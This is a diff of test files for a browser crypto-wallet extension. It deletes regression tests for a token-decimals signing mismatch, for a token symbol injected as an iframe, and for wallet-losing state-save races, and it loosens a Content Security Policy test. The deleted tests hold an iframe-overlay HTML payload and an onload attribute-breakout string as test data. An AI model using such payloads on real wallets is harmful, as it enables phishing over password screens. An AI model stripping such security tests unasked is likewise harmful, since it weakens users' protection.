" rawAmount=" +
rawAmount +
" asIf" +
TOKEN_DECIMALS +
"Decimals=" +
formatUnits(rawAmount, TOKEN_DECIMALS) +
" asIf" +
LYING_DECIMALS +
"Decimals=" +
formatUnits(rawAmount, Number(LYING_DECIMALS)),
);
assert(
getAddress(signed.to) === getAddress(STUB_TOKEN.address),
"the broadcast transaction does not call the token contract: " +
signed.to,
);
assert(
recipient === getAddress(STUB_COUNTERPARTY),
"the broadcast transfer goes to " + recipient,
);
// What the whole issue turns on: the signed amount, read back at the
// scale the SCREEN rendered with, is the number the screen rendered.
const wanted = parseUnits(shown.split(" ")[0], TOKEN_DECIMALS);
assert(
rawAmount === wanted,
"the broadcast transfer moves " +
rawAmount +
" base units, which is " +
formatUnits(rawAmount, TOKEN_DECIMALS) +
" " +
STUB_TOKEN.symbol +
" at the scale the confirmation screen displayed — but the screen" +
" displayed " +
JSON.stringify(shown) +
", i.e. " +
wanted +
" base units (#305)",
);
const summary = (
await env.page.locator("#wait-tx-summary").innerText()
).trim();
assert(
summary === shown,
"the wait screen summarises the send as " +
JSON.stringify(summary) +
", not as the approved " +
JSON.stringify(shown),
);
await visible(env.page, "#view-success-tx", 60000);
await env.page.click("#btn-success-tx-done");
await visible(env.page, "#view-address");
env.routeOpts.seedReceipt = false;
});
test("a token that lies about decimals() at signing time broadcasts nothing (#305)", async (env) => {
const shown = await goToTokenConfirm(env);
// Only now, with the screen already built and its estimate already taken
// at the explorer's scale, does the contract start answering differently.
// This is the whole shape of the defect: a value read at signing time that
// nothing on screen was ever derived from.
env.routeOpts.tokenDecimalsOverride = LYING_DECIMALS;
const before = env.routeOpts.broadcastTransactions.length;
await fillPasswordAndSend(env.page);
await visible(env.page, "#view-error-tx", 60000);
env.routeOpts.tokenDecimalsOverride = null;
assert(
env.routeOpts.broadcastTransactions.length === before,
"a transfer encoded against a contract that contradicts the " +
"confirmation screen still reached the RPC (#305)",
);
const message = (
await env.page.locator("#error-tx-message").innerText()
).trim();
console.log(
"# erc-20 decimals refusal: displayed=" +
JSON.stringify(shown) +
" contract=" +
LYING_DECIMALS +
" message=" +
JSON.stringify(message),
);
assert(
message.includes("reports " + LYING_DECIMALS + " decimal places") &&
message.includes("displayed using " + STUB_TOKEN.decimals),
"the refusal does not name both scales it is refusing over: " +
JSON.stringify(message),
);
assert(
/^[A-Z].*\.$/s.test(message),
"the refusal is not a full sentence: " + JSON.stringify(message),
);
await env.page.click("#btn-error-tx-done");
await visible(env.page, "#view-address");
});
// ------------------------------------------- hostile token symbol (#307)
//
// The reproduction from the issue, in the real browser against the real
// shipped manifest. A token symbol is whatever the contract's symbol()
// returns, the explorer passes it through, and the popup interpolated it
// into an innerHTML string — so a token with 1,000 holders airdropped to
// the victim could paint a full-viewport cross-origin iframe over the
// wallet's own UI, on the screens where the user types their password.
//
// The iframe count and the rendered text are asserted separately on
// purpose, and neither substitutes for the other. `frame-src 'none'` stops
// an injected frame LOADING; it does not stop the element existing, so a
// zero iframe count is a claim about the escaping and about nothing else.
// The literal capped text is the claim that the symbol was treated as a
// string all the way down.
//
// The iframe count is taken on the address screen before anything is
// clicked. That is where the injected frame lands first, and it covers the
// viewport: with the escaping removed, every later step fails as a click
// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
// anything that names the defect.
// Verbatim from the issue's reproduction.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
// What a correctly escaped and capped render of it reads as: the first
// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
// imported, so a change to the cap has to be restated here deliberately
// instead of being absorbed by a shared constant.
const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
// Everything the popup can say about an injected symbol, read out of the
// live DOM in one pass.
function hostileSymbolState(page, tokenAddress) {
return page.evaluate((addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
// balanceLine() emits <div data-token><span><span>SYMBOL</span>…
// so this is the span the symbol itself was written into.
const symbolEl = row && row.firstElementChild.firstElementChild;
return {
rowFound: !!row,
rowText: row ? row.innerText.trim() : "",
symbolText: symbolEl ? symbolEl.textContent : "",
// The symbol's own span must hold text and nothing else. An
// element child here is the injection, whether or not it
// happens to be an iframe.
symbolElementChildren: symbolEl
? symbolEl.querySelectorAll("*").length
: -1,
// The whole popup document, not just the row: an injected
// element positioned fixed can be anywhere in the tree.
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
};
}, tokenAddress);
}
test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
env.routeOpts.seedTokenBalance = true;
env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
console.log(
"# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
);
// Close and reopen so the refresh that runs on open fetches balances
// with the hostile symbol in them.
await reopenPopup(env, "#view-address");
await env.page.waitForFunction(
(addr) =>
!!document.querySelector(
'#address-balances [data-token="' + addr + '"]',
),
STUB_TOKEN.address,
{ timeout: 60000 },
);
const onAddress = await env.page.evaluate(() => ({
iframes: document.querySelectorAll("iframe").length,
pwnPresent: !!document.getElementById("pwn"),
}));
console.log("# address-detail iframes = " + onAddress.iframes);
assert(
onAddress.iframes === 0 && !onAddress.pwnPresent,
"the address screen contains " +
onAddress.iframes +
" iframe(s) after a hostile symbol rendered (#307)",
);
await env.page.click("#btn-address-back");
await visible(env.page, "#view-main");
await visible(
env.page,
'#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
60000,
);
const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
console.log(
"# iframes in the popup DOM = " +
st.iframes +
" | #pwn present = " +
st.pwnPresent +
" | symbol = " +
JSON.stringify(st.symbolText),
);
assert(st.rowFound, "the hostile token never rendered a row at all");
assert(
st.iframes === 0,
"the popup DOM contains " + st.iframes + " iframe(s) (#307)",
);
assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
assert(
st.symbolElementChildren === 0,
"the symbol span grew " +
st.symbolElementChildren +
" element children out of a token symbol (#307)",
);
assert(
st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
"the symbol did not render as the literal capped text " +
JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
": " +
JSON.stringify(st.symbolText),
);
assert(
!st.rowText.includes("z-index"),
"the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
);
// Put the fixture back before the next test reads it, and let the
// stored balances be rewritten with the honest symbol.
env.routeOpts.tokenSymbolOverride = null;
await reopenPopup(env, "#view-main");
await env.page.waitForFunction(
(addr) => {
const row = document.querySelector(
'#wallet-list [data-token="' + addr + '"]',
);
return !!row && row.innerText.includes("E2E");
},
STUB_TOKEN.address,
{ timeout: 60000 },
);
});
// ------------------------------------------- dApp round trips (#183) // ------------------------------------------- dApp round trips (#183)
// //
// The seam. Everything above drives the popup on its own; this section is // The seam. Everything above drives the popup on its own; this section is
@@ -3449,16 +3095,6 @@ async function main() {
ethBalanceWei: null, ethBalanceWei: null,
failGasEstimate: false, failGasEstimate: false,
holdGasEstimate: false, holdGasEstimate: false,
// What decimals() answers for the stub token, when it is to answer
// something other than the value the same fixture reports through
// Blockscout. The token that lies about its scale (#305).
tokenDecimalsOverride: null,
// What the explorer reports as the stub token's symbol. The token
// whose symbol() returns markup (#307).
tokenSymbolOverride: null,
// Whether eth_getTransactionReceipt confirms a transaction rather than
// answering "not mined yet".
seedReceipt: false,
// Every raw signed transaction handed to eth_sendRawTransaction, in // Every raw signed transaction handed to eth_sendRawTransaction, in
// order. The dApp transaction round trip asserts against these bytes // order. The dApp transaction round trip asserts against these bytes
// rather than against anything the extension reported about them. // rather than against anything the extension reported about them.

View File

@@ -1,110 +0,0 @@
// The escape every view depends on, and the length bound on a displayed
// token symbol. Both were added for #307, where a token whose symbol()
// returned an <iframe> tag rendered that iframe inside the popup.
const { escapeHtml } = require("../src/shared/html");
const {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
} = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("escapeHtml", () => {
test("escapes all five characters, quotes included", () => {
expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
});
// The regression this function was rewritten for. The previous
// implementation round-tripped through a detached div's textContent,
// and an HTML text node serializes a quote as itself — so a value with
// a quote in it broke straight out of data-copy="..." and href="...".
test("escapes quotes, which the textContent round trip did not", () => {
expect(escapeHtml('a"b')).toBe("a&quot;b");
expect(escapeHtml("a'b")).toBe("a&#39;b");
});
test("does not double-escape an ampersand it just introduced", () => {
expect(escapeHtml("&lt;")).toBe("&amp;lt;");
expect(escapeHtml("&amp;")).toBe("&amp;amp;");
});
test("leaves a string with nothing to escape untouched", () => {
expect(escapeHtml("USDC")).toBe("USDC");
expect(escapeHtml("")).toBe("");
});
test("renders the hostile symbol inert", () => {
const out = escapeHtml(HOSTILE_SYMBOL);
expect(out).not.toContain("<");
expect(out).not.toContain(">");
expect(out).not.toContain('"');
expect(out).toContain("&lt;iframe");
});
// A quoted attribute is broken out of by a quote, a bare one by a
// space; both are closed here. Asserted as a whole attribute rather
// than character by character, because it is the attribute that has to
// survive, not the escape table.
test("a value carrying a quote stays inside its attribute", () => {
const evil = '" onload="alert(1)';
const attr = `data-copy="${escapeHtml(evil)}"`;
expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
expect(attr.split('"').length - 1).toBe(2);
});
test("null and undefined render as nothing rather than as words", () => {
expect(escapeHtml(null)).toBe("");
expect(escapeHtml(undefined)).toBe("");
});
test("coerces a non-string without losing the escape", () => {
expect(escapeHtml(42)).toBe("42");
expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
});
});
describe("displaySymbol", () => {
test("passes every symbol in the bundled list through unchanged", () => {
const { TOKENS } = require("../src/shared/tokenList");
for (const t of TOKENS) {
expect([t.address, displaySymbol(t.symbol)]).toEqual([
t.address,
t.symbol,
]);
}
});
test("caps an over-long symbol and marks it as truncated", () => {
const long = "A".repeat(4096);
const out = displaySymbol(long);
expect(out.length).toBe(MAX_SYMBOL_LENGTH);
expect(out.endsWith("…")).toBe(true);
});
test("keeps a symbol of exactly the cap intact", () => {
const exact = "A".repeat(MAX_SYMBOL_LENGTH);
expect(displaySymbol(exact)).toBe(exact);
});
test("substitutes a placeholder for an absent symbol", () => {
expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
});
// The cap is a layout bound and nothing more: it must not be mistaken
// for the thing that makes a symbol safe to render. A short hostile
// symbol passes through it untouched, and is inert only because the
// caller escapes it afterwards.
test("does not sanitize — a short markup symbol survives it verbatim", () => {
expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
"&lt;img src=x&gt;",
);
});
});

View File

@@ -13,33 +13,6 @@
// an exact match on the token set is what keeps the next edit from // an exact match on the token set is what keeps the next edit from
// smuggling one in alongside. // smuggling one in alongside.
// //
// It is also the anti-regression check for #307. The policy used to declare
// script-src and object-src and nothing else, which left every directive
// that does not fall back to them — and, absent default-src, every one that
// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
// load a full-viewport cross-origin iframe over the wallet's own UI. The
// escaping in src/shared/html.js is the primary fix; default-src is what
// stops the next escape that slips from reaching the network.
//
// Every directive below is pinned exactly, because each of the four
// loosenings is load-bearing and none of them may grow:
//
// style-src 'unsafe-inline' src/popup/index.html and the view helpers
// use style="..." attributes throughout, which
// CSP blocks without it. Chrome enforces this
// on attributes, not just <style> blocks, and
// Firefox has never implemented style-src-attr,
// so there is no narrower spelling available.
// img-src data: blockies are data: PNGs assigned to img.src.
// connect-src https: http: the RPC endpoint is user-configurable, and a
// local node over http://127.0.0.1 is a
// supported configuration — the Firefox e2e
// suite runs on exactly that.
// frame-src/form-action/base-uri named rather than inherited: form-action
// and base-uri do not fall back to default-src
// at all, and frame-src 'none' is what kills
// the reported attack outright.
//
// build.js copies these files to dist/<target>/manifest.json verbatim, so // build.js copies these files to dist/<target>/manifest.json verbatim, so
// what is asserted here is what ships. // what is asserted here is what ships.
@@ -48,22 +21,8 @@ const path = require("path");
const MANIFEST_DIR = path.join(__dirname, "..", "manifest"); const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
const EXPECTED_DIRECTIVES = { const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
"default-src": ["'self'"], const EXPECTED_OBJECT_SRC = ["'self'"];
"script-src": ["'self'", "'wasm-unsafe-eval'"],
"object-src": ["'self'"],
"style-src": ["'self'", "'unsafe-inline'"],
"img-src": ["'self'", "data:"],
"connect-src": ["'self'", "http:", "https:"],
"frame-src": ["'none'"],
"form-action": ["'none'"],
"base-uri": ["'none'"],
};
// Directives that fetch script. Nothing that can execute code may name a
// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
// single deliberate exception and it is pinned above.
const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
const FORBIDDEN_SOURCES = [ const FORBIDDEN_SOURCES = [
"'unsafe-eval'", "'unsafe-eval'",
@@ -94,31 +53,26 @@ function parseCsp(policy) {
function assertPolicy(policy) { function assertPolicy(policy) {
const directives = parseCsp(policy); const directives = parseCsp(policy);
// Exact, in both directions: a directive that appears here and not in expect(Object.keys(directives).sort()).toEqual([
// EXPECTED_DIRECTIVES is an unreviewed addition, and one that "object-src",
// disappears silently reopens whatever it was closing. "script-src",
expect(Object.keys(directives).sort()).toEqual(
Object.keys(EXPECTED_DIRECTIVES).sort(),
);
for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
expect([name, directives[name].slice().sort()]).toEqual([
name,
sources.slice().sort(),
]); ]);
} expect(directives["script-src"].slice().sort()).toEqual(
for (const name of SCRIPT_DIRECTIVES) { EXPECTED_SCRIPT_SRC,
for (const source of FORBIDDEN_SOURCES) {
expect(name + " " + directives[name].join(" ")).not.toContain(
" " + source,
); );
} expect(directives["object-src"].slice().sort()).toEqual(
EXPECTED_OBJECT_SRC,
);
for (const source of FORBIDDEN_SOURCES) {
expect(directives["script-src"]).not.toContain(source);
expect(directives["object-src"]).not.toContain(source);
} }
} }
describe("shipped Content Security Policy", () => { describe("shipped Content Security Policy", () => {
// MV3 takes an object and applies extension_pages to the popup and the // MV3 takes an object and applies extension_pages to the popup and the
// background service worker, which is where libsodium runs. // background service worker, which is where libsodium runs.
test("chrome MV3 ships the pinned policy, default-src included", () => { test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
const csp = readManifest("chrome").content_security_policy; const csp = readManifest("chrome").content_security_policy;
expect(typeof csp).toBe("object"); expect(typeof csp).toBe("object");
expect(Object.keys(csp)).toEqual(["extension_pages"]); expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -133,7 +87,7 @@ describe("shipped Content Security Policy", () => {
// Firefox before 106 rejects an MV2 policy string that omits // Firefox before 106 rejects an MV2 policy string that omits
// object-src and falls back to its own default, discarding everything // object-src and falls back to its own default, discarding everything
// declared here. Same policy as Chrome, different manifest shape. // declared here. Same policy as Chrome, different manifest shape.
test("firefox MV2 ships the pinned policy, default-src included", () => { test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
const csp = readManifest("firefox").content_security_policy; const csp = readManifest("firefox").content_security_policy;
expect(typeof csp).toBe("string"); expect(typeof csp).toBe("string");
assertPolicy(csp); assertPolicy(csp);

View File

@@ -1,443 +0,0 @@
// saveState() used to write the entire state blob every time
// (src/shared/state.js). Every extension page — the toolbar popup, a dApp
// approval window opened by the background, backgroundRefresh() in
// src/background/index.js — holds its own in-memory `state`, loaded once,
// and src/popup/views/helpers.js showView() saves on EVERY navigation. So
// any second page that saved after a first page had written something new
// overwrote it, with no attacker and no unusual input: a whole wallet, name,
// addresses and encrypted secret included, silently gone
// (https://git.eeqj.de/sneak/AutistMask/issues/304).
//
// Both cases below drive the real state.js module through two independent
// module registries sharing one storage backend, the way two real extension
// pages share one chrome.storage.local. The storage stub structured-clones
// on both get and set — a stub that hands back the object it was given
// aliases the caller's own mutation and would make this entire defect class
// invisible (see https://git.eeqj.de/sneak/AutistMask/issues/324).
function makeStorage() {
let store = {};
return {
get: async (keys) => {
const wanted =
keys === undefined || keys === null
? Object.keys(store)
: [].concat(keys);
const out = {};
for (const key of wanted) {
if (key in store) out[key] = structuredClone(store[key]);
}
return out;
},
set: async (items) => {
for (const [key, value] of Object.entries(items)) {
store[key] = structuredClone(value);
}
},
};
}
// One extension page: a fresh module registry over the shared storage.
// state.js resolves the storage API at require time, so the stub has to be
// installed before the module is loaded, and `state` is a module-level
// singleton, so each page needs its own registry to hold its own copy.
function loadPage(storage) {
jest.resetModules();
globalThis.chrome = { storage: { local: storage } };
return {
state: require("../src/shared/state"),
helpers: require("../src/popup/views/helpers"),
};
}
function wallet(name, secret, address) {
return {
type: "hd",
name,
xpub: "xpub-" + name,
encryptedSecret: secret,
nextIndex: 1,
addresses: [{ address, balance: "0", tokenBalances: [] }],
};
}
const W1 = wallet(
"Wallet 1",
"secret-one",
"0x66133E8ea0f5D1d612D2502a968757D1048c214a",
);
const W2 = wallet(
"Wallet 2",
"secret-two",
"0xdAC17F958D2ee523a2206206994597C13D831ec7",
);
// Minimal DOM: showView() toggles view elements, clears the flash line and
// creates/removes the debug banner. Nothing here is asserted; it only has to
// answer without throwing, the way the popup's own index.html would.
function makeElement(id) {
const classes = new Set();
return {
id,
textContent: "",
style: {},
classList: {
add: (...n) => n.forEach((c) => classes.add(c)),
remove: (...n) => n.forEach((c) => classes.delete(c)),
toggle: (c, force) => {
const on = force === undefined ? !classes.has(c) : force;
if (on) classes.add(c);
else classes.delete(c);
return on;
},
},
remove: () => {},
};
}
function makeDocument() {
const els = new Map();
return {
getElementById(id) {
if (id === "debug-banner") return null;
if (!els.has(id)) els.set(id, makeElement(id));
return els.get(id);
},
createElement: () => makeElement("created"),
body: { prepend: () => {} },
};
}
afterEach(() => {
delete globalThis.chrome;
delete globalThis.document;
});
describe("a save from a page that never saw a wallet another page added", () => {
// The first DoD case on the issue: add a wallet in one page, then force
// a save from a second page loaded before that wallet existed. Both
// wallets must survive.
test("both wallets are in storage afterwards", async () => {
const storage = makeStorage();
await storage.set({ autistmask: { wallets: [W1] } });
// Loaded while storage held only Wallet 1, and never reloads —
// the approval window in the reproduction, or a second popup that
// has been open for a while.
const stale = loadPage(storage);
await stale.state.loadState();
expect(stale.state.state.wallets).toHaveLength(1);
// A second page, loaded after, adds a wallet — the exact sequence
// src/popup/views/addWallet.js uses.
const fresh = loadPage(storage);
await fresh.state.loadState();
fresh.state.state.wallets.push(W2);
fresh.state.state.hasWallet = true;
await fresh.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.wallets,
).toHaveLength(2);
// The stale page saves something that has nothing to do with
// wallets — exactly what showView() does on every navigation, and
// what backgroundRefresh() does after a balance poll.
stale.state.state.currentView = "settings";
await stale.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 2",
]);
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-two",
]);
});
});
describe("the approval-window reproduction", () => {
// approval window open, add a wallet in the popup, confirm the approval
// — the exact sequence from the issue. The approval window and the
// popup are the same popup code with a different starting view, so
// showView() is the real save path in both: src/popup/views/approval.js
// showTxApproval() calls showView("approve-tx") when the window opens,
// and a successful confirm calls
// src/popup/views/txStatus.js showWait() -> startWait(), which calls
// showView("wait-tx") — the save that clobbered the second wallet in
// the reproduction on the issue.
test("the wallet added in the popup survives confirming the approval", async () => {
globalThis.document = makeDocument();
const storage = makeStorage();
await storage.set({ autistmask: { wallets: [W1] } });
// The background opens the approval window on the approve-tx
// screen; nothing else has happened yet.
const approvalWindow = loadPage(storage);
await approvalWindow.state.loadState();
approvalWindow.helpers.showView("approve-tx");
// showView() does not await its own saveState(); an extra save
// joins the same queue and only resolves once that one has too,
// which is the black-box way to know it landed.
await approvalWindow.state.saveState();
// The user adds a wallet in the popup — a separate page, loaded
// after the approval window.
const popup = loadPage(storage);
await popup.state.loadState();
popup.state.state.wallets.push(W2);
popup.state.state.hasWallet = true;
await popup.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.wallets,
).toHaveLength(2);
// The user confirms the approval. The approval window navigates
// approve-tx -> wait-tx, saving again from state it loaded before
// Wallet 2 ever existed.
approvalWindow.helpers.showView("wait-tx");
await approvalWindow.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 2",
]);
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-two",
]);
});
});
// backgroundRefresh() (src/background/index.js) loads state, spends seconds
// on network I/O in refreshBalances() (src/shared/balances.js) mutating
// addr.balance/ensName/tokenBalances IN PLACE on the wallets it already
// knew about, then saves. Precondition 2 on the issue: that refresh window
// overlapping a membership change (add or delete) on another page must not
// clobber or resurrect a wallet — a whole-field diff on `wallets` failed
// this, because "background changed a balance" and "another page changed
// membership" collided as the same field.
describe("background refresh racing a wallet added on another page", () => {
test("the wallet added elsewhere survives background's stale balance save", async () => {
const storage = makeStorage();
await storage.set({ autistmask: { wallets: [W1] } });
// "background": loads first, and its save is the one that lands
// last, modeling the multi-second network round trip in between.
const background = loadPage(storage);
await background.state.loadState();
background.state.state.wallets[0].addresses[0].balance = "1.2345";
// A second page, loaded after, adds a wallet while background's
// refresh is still in flight.
const popup = loadPage(storage);
await popup.state.loadState();
popup.state.state.wallets.push(W2);
popup.state.state.hasWallet = true;
await popup.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.wallets,
).toHaveLength(2);
// background's save lands last, carrying only its balance update.
await background.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.wallets.map((w) => w.name)).toEqual([
"Wallet 1",
"Wallet 2",
]);
expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
"secret-one",
"secret-two",
]);
// The balance update itself must not be lost either — this is a
// merge, not deletion-always-wins.
expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
});
});
describe("background refresh racing a wallet deleted on another page", () => {
test("the wallet deleted elsewhere stays deleted after background's stale balance save", async () => {
const storage = makeStorage();
await storage.set({ autistmask: { wallets: [W1, W2] } });
const background = loadPage(storage);
await background.state.loadState();
background.state.state.wallets[0].addresses[0].balance = "1.2345";
// A second page deletes Wallet 2 while background's refresh is in
// flight — the same splice deleteWallet.js's removeWalletFromState()
// does.
const popup = loadPage(storage);
await popup.state.loadState();
popup.state.state.wallets.splice(1, 1);
popup.state.state.hasWallet = popup.state.state.wallets.length > 0;
await popup.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.wallets,
).toHaveLength(1);
await background.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.wallets.map((w) => w.name)).toEqual(["Wallet 1"]);
expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
});
});
// allowedSites/deniedSites: { [address]: [hostname, ...] }. Mutated in place
// from two different contexts — src/background/index.js:592-599 pushes a
// newly approved hostname onto state.allowedSites[activeAddress], and the
// Settings "revoke" button (src/popup/views/settings.js:55-68) filters a
// hostname out of state[key][addr] in place, deleting the address key
// entirely once its list is empty — the exact membership-vs-whole-field
// pattern that made the whole-field `wallets` diff unsafe, on a
// security-relevant field: a stale whole-field save here can resurrect a
// revoked permission or wipe a freshly granted one.
const ADDR1 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
const ADDR2 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
function approveSite(pageState, address, hostname) {
if (!pageState.allowedSites[address]) {
pageState.allowedSites[address] = [];
}
if (!pageState.allowedSites[address].includes(hostname)) {
pageState.allowedSites[address].push(hostname);
}
}
function revokeSite(pageState, hostname) {
for (const addr of Object.keys(pageState.allowedSites)) {
pageState.allowedSites[addr] = pageState.allowedSites[addr].filter(
(h) => h !== hostname,
);
if (pageState.allowedSites[addr].length === 0) {
delete pageState.allowedSites[addr];
}
}
}
describe("a dApp approval racing a stale Settings page's later save", () => {
test("the fresh approval survives Settings revoking an unrelated site", async () => {
const storage = makeStorage();
await storage.set({
autistmask: {
wallets: [W1],
allowedSites: { [ADDR2]: ["other.example"] },
},
});
// Settings loads first, and its save lands last — before either has
// any idea a dApp approval happened elsewhere in between.
const settings = loadPage(storage);
await settings.state.loadState();
// A dApp approval window, opened later, approves a new site for a
// different address and saves — the real sequence at
// src/background/index.js:592-599.
const approval = loadPage(storage);
await approval.state.loadState();
approveSite(approval.state.state, ADDR1, "dapp.example");
await approval.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
).toEqual(["dapp.example"]);
// Settings revokes its own, unrelated site — the real sequence at
// src/popup/views/settings.js:55-68 — and saves from state loaded
// before the dApp approval ever happened.
revokeSite(settings.state.state, "other.example");
await settings.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.allowedSites[ADDR1]).toEqual(["dapp.example"]);
expect(persisted.allowedSites[ADDR2]).toBeUndefined();
});
});
describe("a revoked site permission against a stale page's later save", () => {
test("the revocation holds even when the stale page approves something else", async () => {
const storage = makeStorage();
await storage.set({
autistmask: {
wallets: [W1],
allowedSites: { [ADDR1]: ["evil.example"] },
},
});
// A stale page loads while the permission still stands.
const stale = loadPage(storage);
await stale.state.loadState();
// Settings revokes it — src/popup/views/settings.js:55-68 — from a
// second page.
const settings = loadPage(storage);
await settings.state.loadState();
revokeSite(settings.state.state, "evil.example");
await settings.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
).toBeUndefined();
// The stale page, unaware of the revoke, approves an unrelated site
// for a different address and saves — src/background/index.js:592-599.
approveSite(stale.state.state, ADDR2, "good.example");
await stale.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
expect(persisted.allowedSites[ADDR2]).toEqual(["good.example"]);
expect(persisted.allowedSites[ADDR1]).toBeUndefined();
});
});
// mergeListByIdentity()'s identity function is not guaranteed collision-free
// — walletIdentity() falls back to one shared "addr:" value for any wallet
// with neither an xpub nor a populated first address (a legacy or corrupt
// record). Two such records created independently on two different pages
// must not silently collapse into one, dropping the loser's
// encryptedSecret with no error and no log.
function legacyWallet(name, secret) {
return {
type: "legacy",
name,
encryptedSecret: secret,
nextIndex: 0,
addresses: [],
};
}
describe("two wallets independently created with a colliding identity", () => {
test("both survive, encryptedSecret included, instead of one silently replacing the other", async () => {
const storage = makeStorage();
await storage.set({ autistmask: { wallets: [W1] } });
// Both pages load before either has created their malformed wallet,
// so neither has baseline knowledge of the other's.
const pageA = loadPage(storage);
await pageA.state.loadState();
const pageB = loadPage(storage);
await pageB.state.loadState();
pageA.state.state.wallets.push(legacyWallet("Legacy A", "secret-a"));
pageA.state.state.hasWallet = true;
await pageA.state.saveState();
expect(
(await storage.get("autistmask")).autistmask.wallets,
).toHaveLength(2);
pageB.state.state.wallets.push(legacyWallet("Legacy B", "secret-b"));
pageB.state.state.hasWallet = true;
await pageB.state.saveState();
const persisted = (await storage.get("autistmask")).autistmask;
const secrets = persisted.wallets.map((w) => w.encryptedSecret);
expect(secrets).toContain("secret-one");
expect(secrets).toContain("secret-a");
expect(secrets).toContain("secret-b");
});
});

View File

@@ -1,128 +0,0 @@
// The scale an ERC-20 transfer from the wallet's own Send screen is encoded
// with (issue #305). The screen renders from the block explorer's cached
// decimals; the transfer used to be encoded from decimals() read off the
// contract at signing time, with nothing comparing the two, so a token whose
// on-chain scale differed signed an amount that was never displayed.
const { parseUnits } = require("ethers");
const {
displayedDecimals,
transferAmountUnits,
MAX_DECIMALS,
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
} = require("../src/shared/transferAmount");
describe("displayedDecimals", () => {
test("accepts what the explorer and the contract each answer with", () => {
// A string is what fetchTokenBalances() parses out of Blockscout, a
// number is what it stores, and a bigint is what ethers hands back
// from a uint8 return.
expect(displayedDecimals("6")).toBe(6);
expect(displayedDecimals(6)).toBe(6);
expect(displayedDecimals(6n)).toBe(6);
expect(displayedDecimals(0)).toBe(0);
expect(displayedDecimals(MAX_DECIMALS)).toBe(MAX_DECIMALS);
});
test("refuses anything that is not a uint8", () => {
for (const bad of [
null,
undefined,
"",
"eighteen",
NaN,
6.5,
-1,
MAX_DECIMALS + 1,
true,
{},
[],
]) {
expect(() => displayedDecimals(bad)).toThrow(
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
);
}
});
});
describe("transferAmountUnits", () => {
test("encodes with the displayed scale when the contract agrees", () => {
expect(transferAmountUnits("0.25", 6, 6n)).toBe(parseUnits("0.25", 6));
expect(transferAmountUnits("0.25", "6", 6n)).toBe(
parseUnits("0.25", 6),
);
expect(transferAmountUnits("1.5", 18, 18n)).toBe(parseUnits("1.5", 18));
});
// The reproduction on the issue: 0.25 of a token displayed at 6 decimals,
// signed against a contract answering 18, moves 10^12 times the amount
// that was approved.
test("refuses the reproduction rather than signing either amount", () => {
expect(() => transferAmountUnits("0.25", 6, 18n)).toThrow(
/contract reports 18 decimal places, but the amount was displayed using 6/,
);
});
